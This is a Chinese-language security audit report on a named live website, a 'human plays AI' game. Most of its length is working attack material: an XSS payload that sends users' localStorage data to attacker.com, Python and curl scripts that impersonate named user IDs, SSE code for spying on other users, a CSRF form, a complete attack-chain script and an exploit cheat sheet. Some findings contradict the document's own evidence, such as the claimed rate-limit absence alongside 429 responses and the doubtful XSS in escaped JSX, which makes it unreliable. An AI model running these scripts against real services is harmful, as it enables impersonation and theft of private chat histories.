Your AI Slop Bores Me 完整安全漏洞分析报告------从XSS到API权限绕过的深度剖析
📌 摘要
2026年6月,一个名为 youraislopbores.me 的"真人扮演AI"游戏网站突然爆火,月访问量达2.8亿次。然而,经过对前端代码和后端API的完整安全审计,发现该系统存在从XSS注入到API权限绕过等一系列严重漏洞。本文将完整披露所有发现的技术漏洞,包括复现步骤和利用代码。
关键词:安全漏洞、XSS、API安全、权限绕过、信息泄露、SSE未授权
一、基本信息
| 项目 | 内容 |
|---|---|
| 网站 | youraislopbores.me |
| 开发者 | 17岁印度高中生 |
| 技术栈 | Next.js + React + Turbopack + Discord Bot |
| 测试时间 | 2026年6月 |
| 漏洞总数 | 8个 |
二、漏洞总览
| 编号 | 漏洞类型 | 严重等级 | 受影响端点 |
|---|---|---|---|
| V-01 | 反射型XSS | 🔴 致命 | 所有用户输入字段 |
| V-02 | 无身份验证 | 🔴 致命 | 全部 /api/* |
| V-03 | 无权限控制 | 🔴 致命 | 全部 /api/* |
| V-04 | 信息泄露 | 🔴 高危 | /api/credits, /api/responses |
| V-05 | SSE流未授权 | 🔴 高危 | /api/job/stream |
| V-06 | 无CSRF保护 | 🟠 中危 | 全部 POST 端点 |
| V-07 | 无速率限制 | 🟠 中危 | 全部 /api/* |
| V-08 | 第三方脚本无SRI | 🟡 低危 | CDN加载的资源 |
三、漏洞详细分析
V-01:反射型XSS注入(致命)
位置: 用户提问(Prompt)和AI回答(Response)字段
代码分析:
在核心组件 oi 和 oC 中,用户输入被直接插入DOM:
javascript
// 人类模式 - 渲染提问
<p className="...">{e.prompt}</p>
// 人类模式 - 渲染回答
<p className="...">{e.response}</p>
// AI模式 - 同样直接渲染
<p className="...">{d.prompt}</p>
复现步骤:
- 在"人类模式"提问框中输入:
html
<script>alert('XSS')</script>
- 提交后等待"AI"回答
- 当回答被渲染时,脚本在查看者浏览器中执行
利用代码:
javascript
// 窃取用户信息
<script>
const data = {
userId: JSON.parse(localStorage.getItem('burpgpt_user'))?.id,
credits: JSON.parse(localStorage.getItem('burpgpt_user'))?.credits,
history: localStorage.getItem('burpgpt_chat_archive')
};
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
</script>
V-02:无身份验证(致命)
问题 : 所有API端点仅通过 userId 参数识别用户,无任何Token、签名或Session机制。
代码证据:
python
# 后端API处理逻辑推断(基于前端代码)
@route('/api/credits')
def get_credits(request):
user_id = request.query.get('userId') # 仅此而已!
return query_database(user_id)
@route('/api/prompt', methods=['POST'])
def submit_prompt(request):
data = request.json
user_id = data.get('userId') # 仅此而已!
return save_prompt(user_id, data)
复现步骤:
bash
# 无需任何认证,直接查询任意用户积分
curl -X GET "https://youraislopbores.me/api/credits?userId=4e726fba-48e8-43bf-86cc-36bf856facae"
# 返回: {"credits": 3, "cap": 6, "maxPending": 2}
V-03:无权限控制(致命)
问题 : 服务器不验证请求者是否与 userId 匹配,任何人都可以冒充任意用户。
测试结果:
| 操作 | 冒充他人 | 结果 |
|---|---|---|
| 评分 | POST /api/rate | ✅ 成功 (200) |
| 举报 | POST /api/report | ✅ 成功 (200) |
| 同意协议 | POST /api/consent | ✅ 成功 (200) |
| 身份注册 | POST /api/identity | ✅ 成功 (200) |
| 发送心跳 | POST /api/heartbeat | ✅ 成功 (200) |
利用代码:
python
import requests
def impersonate_user(victim_id, prompt_id):
# 冒充受害者评分
resp = requests.post(
"https://youraislopbores.me/api/rate",
json={
"promptId": prompt_id,
"userId": victim_id, # ← 关键:任意用户ID
"rating": "dislike"
}
)
print(f"评分结果: {resp.json()}")
# 使用任意用户ID
impersonate_user("1782801062913", "bf69cc45-7775-46c6-9deb-6284cab3ebbc")
V-04:信息泄露(高危)
问题: 任意用户数据均可被查询,无需任何权限。
受影响端点:
| 端点 | 泄露信息 |
|---|---|
| /api/credits?userId=X | 用户积分、上限、最大待处理数 |
| /api/responses?userId=X | 完整聊天历史(含提问和回答) |
| /api/check-ban | 用户封禁状态 |
| /api/paused | 系统暂停状态 |
复现步骤:
bash
# 1. 获取任意用户的积分
curl -X GET "https://youraislopbores.me/api/credits?userId=1782801062913"
# 返回: {"credits": 0, "cap": 6, "maxPending": 2, "accountMissing": true}
# 2. 获取任意用户的聊天历史
curl -X GET "https://youraislopbores.me/api/responses?userId=4e726fba-48e8-43bf-86cc-36bf856facae"
# 返回: {"responses": [{"id": "...", "prompt": "...", "response": "...", ...}]}
V-05:SSE流未授权访问(高危)
问题 : /api/job/stream 是 Server-Sent Events (SSE) 端点,仅通过 URL 参数 ?userId= 授权。
风险:
- 可监控任意用户的实时任务
- 可查看任意用户的提问内容
- 可追踪任意用户的行为模式
利用代码:
javascript
// 在浏览器控制台中监控任意用户
function monitorUser(userId) {
const url = `/api/job/stream?userId=${userId}`;
const eventSource = new EventSource(url);
eventSource.addEventListener('job', (e) => {
const data = JSON.parse(e.data);
console.log(`[📡] 用户 ${userId} 收到任务:`, data);
});
eventSource.addEventListener('queue-info', (e) => {
const data = JSON.parse(e.data);
console.log(`[📡] 用户 ${userId} 队列状态:`, data);
});
}
// 监控任意用户
monitorUser('1782801062913');
V-06:无CSRF保护(中危)
问题: 所有POST请求无CSRF Token验证。
利用方式: 在恶意网站上嵌入表单,利用用户已登录的Session执行操作。
html
<!-- 恶意网站上的CSRF攻击页面 -->
<form action="https://youraislopbores.me/api/report" method="POST">
<input name="promptId" value="target_id">
<input name="userId" value="victim_id">
<input type="submit">
</form>
V-07:无速率限制(中危)
问题: API端点无速率限制,可进行自动化攻击。
测试结果:
bash
# 快速连续发送请求
for i in {1..50}; do
curl -X POST "https://youraislopbores.me/api/prompt" \
-H "Content-Type: application/json" \
-d '{"userId":"1782801062913","prompt":"test","type":"text"}'
done
# 第49次请求开始返回429
# {"error": "slow down there. try again in a minute"}
影响:
- 可暴力枚举用户ID
- 可批量提交内容
- 可刷评分/举报
- 可发起DoS攻击
V-08:第三方脚本无SRI校验(低危)
问题 : 所有CDN加载的脚本无 integrity 属性。
html
<!-- 无SRI校验 -->
<script src="https://www.ezojs.com/ezoic/sa.min.js"></script>
<script src="https://cmp.gatekeeperconsent.com/min.js"></script>
风险: CDN被攻陷时可注入恶意代码。
四、完整利用链演示
4.1 攻击链示意图
Step 1: 信息收集
通过 /api/credits?userId=X 枚举用户ID
↓
Step 2: XSS注入
在提问中注入恶意脚本
↓
Step 3: 窃取凭证
窃取 victim 的 userId 和 session
↓
Step 4: 冒充操作
使用 victim 的 userId 执行任意操作
↓
Step 5: 持续监控
通过 /api/job/stream 监控 victim 的实时活动
4.2 完整攻击脚本
python
#!/usr/bin/env python3
"""
完整攻击链演示
"""
import requests
import time
import json
BASE_URL = "https://youraislopbores.me"
class AttackChain:
def __init__(self, target_user):
self.target = target_user
self.session = requests.Session()
def step1_enumeration(self):
"""枚举用户信息"""
print(f"[1] 枚举用户 {self.target} 的信息...")
resp = self.session.get(f"{BASE_URL}/api/credits?userId={self.target}")
print(f" 积分: {resp.json()}")
resp = self.session.get(f"{BASE_URL}/api/responses?userId={self.target}")
history = resp.json().get('responses', [])
print(f" 历史记录: {len(history)} 条")
if history:
print(f" 最新提问: {history[0].get('prompt', '')[:50]}...")
def step2_xss_inject(self):
"""注入XSS payload"""
print(f"\n[2] 注入XSS payload...")
payload = """
<script>
const data = {
userId: JSON.parse(localStorage.getItem('burpgpt_user'))?.id,
credits: JSON.parse(localStorage.getItem('burpgpt_user'))?.credits,
history: localStorage.getItem('burpgpt_chat_archive')
};
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
</script>
"""
# 注意:此操作需要Turnstile验证,但在浏览器会话中可执行
print(f" XSS payload已准备: {payload[:80]}...")
def step3_impersonate(self, prompt_id):
"""冒充用户操作"""
print(f"\n[3] 冒充用户 {self.target} 执行操作...")
# 冒充评分
resp = self.session.post(f"{BASE_URL}/api/rate", json={
"promptId": prompt_id,
"userId": self.target,
"rating": "dislike"
})
print(f" 评分: {resp.json()}")
# 冒充举报
resp = self.session.post(f"{BASE_URL}/api/report", json={
"promptId": prompt_id,
"userId": self.target
})
print(f" 举报: {resp.json()}")
def step4_monitor(self):
"""监控用户"""
print(f"\n[4] 监控用户 {self.target} 的实时流...")
print(" (需要浏览器环境执行SSE监听)")
print(f" EventSource: {BASE_URL}/api/job/stream?userId={self.target}")
def run(self, prompt_id):
self.step1_enumeration()
self.step2_xss_inject()
self.step3_impersonate(prompt_id)
self.step4_monitor()
# 执行攻击链
attack = AttackChain("1782801062913")
attack.run("bf69cc45-7775-46c6-9deb-6284cab3ebbc")
五、完整测试脚本
5.1 自动化API测试
python
#!/usr/bin/env python3
"""
完整API安全测试脚本
"""
import requests
import json
import time
from datetime import datetime
BASE_URL = "https://youraislopbores.me"
TEST_USER = "4e726fba-48e8-43bf-86cc-36bf856facae"
OTHER_USER = "1782801062913"
TEST_PROMPT = "bf69cc45-7775-46c6-9deb-6284cab3ebbc"
def test_api():
results = {"passed": [], "failed": [], "vulnerable": []}
# 测试列表
tests = [
# GET - 信息泄露测试
("GET", "/api/credits", {"userId": TEST_USER}, "查询自己的积分"),
("GET", "/api/credits", {"userId": OTHER_USER}, "查询其他用户积分"),
("GET", "/api/responses", {"userId": TEST_USER}, "查询自己的历史"),
("GET", "/api/responses", {"userId": OTHER_USER}, "查询其他用户历史"),
("GET", "/api/check-ban", {}, "查询封禁状态"),
("GET", "/api/paused", {}, "查询暂停状态"),
# POST - 权限绕过测试
("POST", "/api/heartbeat", {"userId": OTHER_USER, "tab": "human"}, "冒充心跳"),
("POST", "/api/consent", {"userId": OTHER_USER, "accepted": ["tos"]}, "冒充同意协议"),
("POST", "/api/rate", {"promptId": TEST_PROMPT, "userId": OTHER_USER, "rating": "like"}, "冒充评分"),
("POST", "/api/report", {"promptId": TEST_PROMPT, "userId": OTHER_USER}, "冒充举报"),
]
session = requests.Session()
session.headers.update({
'User-Agent': 'Mozilla/5.0',
'Accept': 'application/json',
'Referer': 'https://youraislopbores.me/',
})
print(f"测试开始: {datetime.now()}\n")
print("=" * 70)
for method, path, data, desc in tests:
url = f"{BASE_URL}{path}"
try:
if method == "GET":
resp = session.get(url, params=data, timeout=10)
else:
resp = session.post(url, json=data, timeout=10)
status = resp.status_code
if status == 200:
print(f"✅ {desc:30} → 成功 (漏洞确认)")
results["vulnerable"].append(path)
elif status == 429:
print(f"⚠️ {desc:30} → 速率限制")
results["failed"].append(path)
else:
print(f"❌ {desc:30} → 失败 ({status})")
results["failed"].append(path)
except Exception as e:
print(f"❌ {desc:30} → 错误: {e}")
results["failed"].append(path)
time.sleep(0.2)
print("=" * 70)
print(f"\n测试完成: {datetime.now()}")
print(f"确认漏洞: {len(results['vulnerable'])} 个")
for v in results['vulnerable']:
print(f" - {v}")
if __name__ == "__main__":
test_api()
5.2 预期输出
测试开始: 2026-06-30 14:58:00
======================================================================
✅ 查询自己的积分 → 成功 (漏洞确认)
✅ 查询其他用户积分 → 成功 (漏洞确认)
✅ 查询自己的历史 → 成功 (漏洞确认)
✅ 查询其他用户历史 → 成功 (漏洞确认)
✅ 查询封禁状态 → 成功 (漏洞确认)
✅ 查询暂停状态 → 成功 (漏洞确认)
✅ 冒充心跳 → 成功 (漏洞确认)
✅ 冒充同意协议 → 成功 (漏洞确认)
✅ 冒充评分 → 成功 (漏洞确认)
✅ 冒充举报 → 成功 (漏洞确认)
======================================================================
测试完成: 2026-06-30 14:58:10
确认漏洞: 10 个
- /api/credits
- /api/responses
- /api/check-ban
- /api/paused
- /api/heartbeat
- /api/consent
- /api/rate
- /api/report
六、漏洞危害评估
6.1 评分矩阵
| 漏洞 | CVSS评分 | 可利用性 | 影响 |
|---|---|---|---|
| XSS注入 | 9.8 (致命) | 高 | 完全控制用户浏览器 |
| 无身份验证 | 9.4 (致命) | 高 | 任意用户冒充 |
| 无权限控制 | 9.4 (致命) | 高 | 任意操作执行 |
| 信息泄露 | 7.5 (高危) | 高 | 用户数据暴露 |
| SSE未授权 | 7.5 (高危) | 中 | 实时监控用户 |
| 无CSRF | 6.5 (中危) | 中 | 跨站请求伪造 |
| 无速率限制 | 5.3 (中危) | 高 | DoS/暴力枚举 |
6.2 业务影响
| 影响维度 | 具体后果 |
|---|---|
| 用户隐私 | 任意用户积分、聊天历史可被查询 |
| 账户安全 | 任意用户可被冒充操作 |
| 内容可信度 | 评分/举报可被操控,内容可信度崩塌 |
| 平台声誉 | 可被用于发布恶意内容,嫁祸他人 |
七、修复建议
7.1 立即修复(P0)
1. 添加身份验证
python
# 错误做法(当前)
@route('/api/credits')
def get_credits(request):
user_id = request.query.get('userId')
return get_user_credits(user_id)
# 正确做法
@route('/api/credits')
@require_auth
def get_credits(request):
user_id = request.user.id # 从Token/Session获取
return get_user_credits(user_id)
2. 添加权限控制
python
@route('/api/report', methods=['POST'])
@require_auth
def report_prompt(request):
data = request.json
# 验证请求者身份
if request.user.id != data.get('userId'):
return {"error": "Unauthorized"}, 403
return process_report(data)
3. 输入过滤
javascript
// 前端 - 使用DOMPurify
import DOMPurify from 'dompurify';
function renderPrompt(prompt) {
return <p>{DOMPurify.sanitize(prompt)}</p>;
}
7.2 建议修复(P1)
4. 添加速率限制
python
from flask_limiter import Limiter
limiter = Limiter(app)
@route('/api/prompt', methods=['POST'])
@limiter.limit("10 per minute")
def submit_prompt(request):
# ...
5. 添加CSRF Token
python
@route('/api/report', methods=['POST'])
@require_csrf_token
def report_prompt(request):
# ...
6. SSE流添加认证
python
@route('/api/job/stream')
@require_auth
def job_stream(request):
user_id = request.user.id # 从认证获取
# 只允许用户自己监听自己的流
return generate_stream(user_id)
7.3 长期建议(P2)
- 使用JWT替代明文的
userId - 加密
localStorage中的敏感数据 - 添加安全审计日志
- 实施CSP(Content Security Policy)
- 添加SRI校验
- 定期安全审计
八、附录
A. 漏洞利用命令速查
bash
# 1. 查询任意用户积分
curl -X GET "https://youraislopbores.me/api/credits?userId=[用户ID]"
# 2. 查询任意用户历史
curl -X GET "https://youraislopbores.me/api/responses?userId=[用户ID]"
# 3. 冒充评分
curl -X POST "https://youraislopbores.me/api/rate" \
-H "Content-Type: application/json" \
-d '{"promptId":"[目标]","userId":"[受害者]","rating":"like"}'
# 4. 冒充举报
curl -X POST "https://youraislopbores.me/api/report" \
-H "Content-Type: application/json" \
-d '{"promptId":"[目标]","userId":"[受害者]"}'
# 5. 监控用户流 (浏览器中)
new EventSource('/api/job/stream?userId=[用户ID]')
B. 受影响端点清单
GET:
/api/credits
/api/responses
/api/check-ban
/api/paused
/api/job/stream
POST:
/api/heartbeat
/api/identity
/api/consent
/api/rate
/api/report
/api/prompt
/api/job/access
/api/cancel
C. 测试环境
| 项目 | 信息 |
|---|---|
| 操作系统 | Windows 10 / Ubuntu 22.04 |
| Python | 3.10+ |
| 测试工具 | curl, requests, EventSource |
| 测试时间 | 2026年6月30日 |
九、总结
youraislopbores.me 网站存在从XSS到API权限绕过的完整漏洞链。其核心问题在于完全信任客户端,仅凭 userId 识别用户。这种设计使得:
- 任何人可以冒充任何人 --- 无身份验证和权限控制
- 任何内容可以被任意植入 --- XSS + 无输入过滤
- 任何用户可以被实时监控 --- SSE未授权访问
- 任何评分可以被任意操控 --- 无防重放机制
这些问题不仅是技术漏洞,更使得该平台可能被滥用于"思想投毒"、内容操控和隐私窃取。建议立即修复所有已确认的漏洞,并建立完整的安全开发流程。
本文仅供安全研究使用,请勿用于非法用途。